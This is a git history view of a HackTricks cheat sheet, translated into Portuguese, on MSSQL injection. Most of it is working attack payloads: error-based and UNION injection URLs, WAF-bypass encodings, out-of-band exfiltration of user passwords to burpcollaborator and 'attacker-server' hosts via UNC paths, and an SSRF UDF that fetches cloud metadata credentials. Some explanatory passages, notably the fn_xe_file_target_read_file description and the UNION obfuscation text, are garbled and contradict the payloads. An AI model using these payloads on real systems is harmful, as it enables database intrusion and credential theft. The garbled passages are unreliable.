hacktricks/pentesting-web/sql-injection/mssql-injection.md

246 lines
16 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
## Injeção MSSQL
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Enumeração do Active Directory
2020-09-20 21:14:26 +00:00
2023-06-06 18:56:34 +00:00
Pode ser possível **enumerar usuários de domínio via injeção SQL dentro de um servidor MSSQL** usando as seguintes funções MSSQL:
2020-09-20 21:14:26 +00:00
2023-06-06 18:56:34 +00:00
* **`SELECT DEFAULT_DOMAIN()`**: Obter o nome do domínio atual.&#x20;
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Se você conhece o nome do domínio (_DOMAIN_ neste exemplo), esta função retornará o **SID do usuário Administrator** em formato hexadecimal. Isso parecerá com `0x01050000000[...]0000f401`, observe como os **últimos 4 bytes** são o número **500** em formato **big endian**, que é o **ID comum do usuário administrador**.\
Esta função permitirá que você **conheça o ID do domínio** (todos os bytes, exceto os últimos 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta função retornará o **nome de usuário do ID indicado** (se houver), neste caso **0000e803** em big endian == **1000** (geralmente este é o ID do primeiro usuário regular criado). Então você pode imaginar que pode forçar a força bruta de IDs de usuário de 1000 a 2000 e provavelmente obter todos os nomes de usuário dos usuários do domínio. Por exemplo, usando uma função como a seguinte:
2020-09-20 21:14:26 +00:00
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
2023-06-06 18:56:34 +00:00
## **Vetores baseados em erros alternativos**
2020-09-20 21:14:26 +00:00
2023-06-06 18:56:34 +00:00
As injeções de SQL baseadas em erros geralmente se assemelham a construções como `+AND+1=@@version--` e variantes baseadas no operador «OR». Consultas contendo tais expressões geralmente são bloqueadas por WAFs. Como uma forma de contornar isso, concatene uma string usando o caractere %2b com o resultado de chamadas de função específicas que disparam um erro de conversão de tipo de dados nos dados procurados.
2020-12-04 10:15:48 +00:00
2023-06-06 18:56:34 +00:00
Alguns exemplos de tais funções:
2020-12-04 10:15:48 +00:00
* `SUSER_NAME()`
* `USER_NAME()`
* `PERMISSIONS()`
* `DB_NAME()`
* `FILE_NAME()`
* `TYPE_NAME()`
* `COL_NAME()`
2023-06-06 18:56:34 +00:00
Exemplo de uso da função `USER_NAME()`:
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
2022-10-09 21:13:17 +00:00
## SSRF
2022-10-10 00:14:53 +00:00
### `fn_xe_file_target_read_file`
2023-06-06 18:56:34 +00:00
### Descrição
A função `fn_xe_file_target_read_file` é usada para ler arquivos do sistema de arquivos do servidor. É possível explorar essa função para realizar SSRF (Server-Side Request Forgery) e ler arquivos de outros servidores.
### Exploração
Para explorar essa vulnerabilidade, é necessário criar um arquivo de evento XE (Extended Events) que chame a função `fn_xe_file_target_read_file` com o caminho do arquivo que se deseja ler. Em seguida, é necessário iniciar o evento XE e enviar uma solicitação HTTP para o servidor com o parâmetro `file` definido como o caminho do arquivo XE criado anteriormente.
Exemplo:
```
2023-06-06 18:56:34 +00:00
CREATE EVENT SESSION [test] ON SERVER
ADD EVENT sqlserver.module_end(
ACTION(sqlserver.client_app_name,sqlserver.client_hostname,sqlserver.database_name,sqlserver.nt_username,sqlserver.server_principal_name,sqlserver.session_id,sqlserver.sql_text,sqlserver.username)
WHERE ([sqlserver].[like_i_sql_unicode_string]([sqlserver].[sql_text],N'%fn_xe_file_target_read_file%'))
)
ADD TARGET package0.event_file(SET filename=N'C:\test.xel')
WITH (MAX_MEMORY=4096 KB,EVENT_RETENTION_MODE=ALLOW_SINGLE_EVENT_LOSS,MAX_DISPATCH_LATENCY=30 SECONDS,MAX_EVENT_SIZE=0 KB,MEMORY_PARTITION_MODE=NONE,TRACK_CAUSALITY=OFF,STARTUP_STATE=ON)
GO
ALTER EVENT SESSION [test] ON SERVER STATE=START
GO
```
2023-06-06 18:56:34 +00:00
Em seguida, envie uma solicitação HTTP para o servidor com o parâmetro `file` definido como o caminho do arquivo XE criado anteriormente:
```
GET /test.php?file=file:C:\test.xel HTTP/1.1
Host: example.com
```
2020-12-04 10:15:48 +00:00
2023-06-06 18:56:34 +00:00
### Mitigação
2020-12-04 10:15:48 +00:00
2023-06-06 18:56:34 +00:00
Para mitigar essa vulnerabilidade, é necessário restringir o acesso à função `fn_xe_file_target_read_file` e garantir que o servidor não possa acessar arquivos que não deveria ter acesso. Além disso, é recomendável filtrar as entradas do usuário para evitar a injeção de código malicioso.
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
**Permissões:** Requer permissão de **`VIEW SERVER STATE`** no servidor.
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
2022-10-10 00:14:53 +00:00
### `fn_get_audit_file`
2020-12-04 10:15:48 +00:00
2023-06-06 18:56:34 +00:00
Esta é uma função do Microsoft SQL Server que retorna o conteúdo de um arquivo de auditoria em formato XML. É importante notar que essa função só pode ser executada por usuários com permissões de segurança específicas. Além disso, é possível explorar vulnerabilidades de injeção de SQL para obter acesso não autorizado a essa função e, consequentemente, aos arquivos de auditoria.
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
2023-06-06 18:56:34 +00:00
**Permissões:** Requer a permissão **`CONTROL SERVER`**.
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
2023-06-06 18:56:34 +00:00
### `fn_trace_gettable`
2022-10-10 21:08:59 +00:00
2023-06-06 18:56:34 +00:00
A função `fn_trace_gettable` é usada para recuperar dados de rastreamento do SQL Server. É possível usar essa função para recuperar informações de rastreamento de eventos específicos, como eventos de auditoria de logon, falhas de logon, execução de consultas e muito mais. Essa função pode ser explorada em ataques de injeção de SQL para recuperar informações confidenciais do banco de dados.
```
2020-12-04 10:15:48 +00:00
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
2023-06-06 18:56:34 +00:00
**Permissões:** Requer a permissão **`CONTROL SERVER`**.
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
2022-10-10 00:14:53 +00:00
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
2023-06-06 18:56:34 +00:00
O método mais comum que você encontrará ao usar o MSSQL para fazer uma chamada de rede é o uso do Stored Procedure `xp_dirtree`, que estranhamente não é documentado pela Microsoft, o que fez com que outras pessoas na Internet [documentassem](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/) isso. Este método tem sido usado em [múltiplos exemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de posts de exfiltração de dados fora de banda na Internet.
2023-06-06 18:56:34 +00:00
Essencialmente,
2022-10-10 00:14:53 +00:00
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
```
2023-06-06 18:56:34 +00:00
Assim como o `LOAD_FILE` do MySQL, você pode usar o `xp_dirtree` para fazer uma solicitação de rede apenas para a porta TCP 445. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos de rede.
2023-06-06 18:56:34 +00:00
PS: Isso não funciona no `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` em execução em um `Windows Server 2016 Datacenter` na configuração padrão.
2023-06-06 18:56:34 +00:00
Existem outros procedimentos armazenados, como o `master..xp_fileexist` ou `xp_subdirs`, que podem ser usados para resultados semelhantes.
2023-06-06 18:56:34 +00:00
### `xp_cmdshell`
2023-06-06 18:56:34 +00:00
Obviamente, você também pode usar o `xp_cmdshell` para executar algo que desencadeie um SSRF. Para mais informações, leia a seção relevante na página:
2022-10-10 00:14:53 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### Função Definida pelo Usuário MSSQL - SQLHttp
2023-06-06 18:56:34 +00:00
É bastante simples escrever uma UDF CLR (Função Definida pelo Usuário do Tempo de Execução Comum - código escrito em qualquer uma das linguagens .NET e compilado em um DLL) e carregá-la dentro do MSSQL para funções personalizadas. No entanto, isso requer acesso `dbo`, portanto, pode não funcionar a menos que a conexão do aplicativo da web ao banco de dados seja como `sa` ou uma função de Administrador.
2023-06-06 18:56:34 +00:00
[Este repositório do Github tem o projeto do Visual Studio e as instruções de instalação](https://github.com/infiniteloopltd/SQLHttp) para carregar o binário no MSSQL como uma montagem CLR e, em seguida, invocar solicitações HTTP GET de dentro do MSSQL.
2023-06-06 18:56:34 +00:00
O código [`http.cs` usa a classe `WebClient` para fazer uma solicitação GET e buscar o conteúdo](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) conforme especificado.
2022-10-10 00:14:53 +00:00
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
```
2023-06-06 18:56:34 +00:00
Nas instruções de instalação, execute o seguinte antes da consulta `CREATE ASSEMBLY` para adicionar o hash SHA512 da assembly à lista de assemblies confiáveis no servidor (você pode ver a lista usando `select * from sys.trusted_assemblies;`)
2022-10-10 21:08:59 +00:00
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
2023-06-06 18:56:34 +00:00
Depois que a montagem é adicionada e a função criada, podemos executar o seguinte para fazer nossas solicitações HTTP.
2022-10-10 00:14:53 +00:00
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/15.png)
2023-06-06 18:56:34 +00:00
## **Exploração rápida: Recuperar uma tabela inteira em uma única consulta**
2020-12-04 10:15:48 +00:00
2023-06-06 18:56:34 +00:00
Existem duas maneiras simples de recuperar todo o conteúdo de uma tabela em uma única consulta - o uso da cláusula FOR XML ou FOR JSON. A cláusula FOR XML requer um modo especificado, como "raw", então em termos de brevidade FOR JSON é melhor.
2020-12-04 10:15:48 +00:00
2023-06-06 18:56:34 +00:00
A consulta para recuperar o esquema, tabelas e colunas do banco de dados atual:
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
```
2023-06-06 18:56:34 +00:00
Os vetores baseados em erro precisam de um alias ou um nome, já que a saída de expressões sem nenhum dos dois não pode ser formatada como JSON.
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
2023-06-06 18:56:34 +00:00
## **Recuperando a consulta atual**
2020-12-04 10:15:48 +00:00
2023-06-06 18:56:34 +00:00
A consulta SQL atual em execução pode ser recuperada do acesso `sys.dm_exec_requests` e `sys.dm_exec_sql_text`:
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
2023-06-06 18:56:34 +00:00
**Permissões:** Se o usuário tiver permissão VIEW SERVER STATE no servidor, ele verá todas as sessões em execução na instância do SQL Server; caso contrário, o usuário verá apenas a sessão atual.
2022-10-10 21:08:59 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
2023-06-06 18:56:34 +00:00
## **Pequenos truques para burlar WAFs**
2022-10-10 21:08:59 +00:00
2023-06-06 18:56:34 +00:00
Caracteres de espaço em branco não padrão: %C2%85 ou %C2%A0:
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
2023-06-06 18:56:34 +00:00
Notação científica (0e) e hexadecimal (0x) para ofuscar UNION:
2020-12-04 10:15:48 +00:00
2023-06-06 18:56:34 +00:00
Uma técnica comum para ofuscar a palavra-chave UNION em uma consulta SQL é usar notação científica (0e) ou notação hexadecimal (0x) para representar a letra "U". Por exemplo, em vez de escrever "UNION ALL", pode-se escrever "UNI0N ALL" usando notação científica ou "UNI%30N ALL" usando notação hexadecimal. Isso pode enganar filtros de palavras-chave simples que procuram a palavra "UNION" em uma consulta. No entanto, essa técnica não é eficaz contra filtros mais avançados que podem detectar essas variações.
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
2023-06-06 18:56:34 +00:00
Um ponto em vez de um espaço em branco entre FROM e o nome da coluna:
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
2023-06-06 18:56:34 +00:00
\N separador entre SELECT e uma coluna descartável:
```
2020-12-04 10:15:48 +00:00
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
2023-06-06 18:56:34 +00:00
## Referências
2022-10-10 00:14:53 +00:00
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>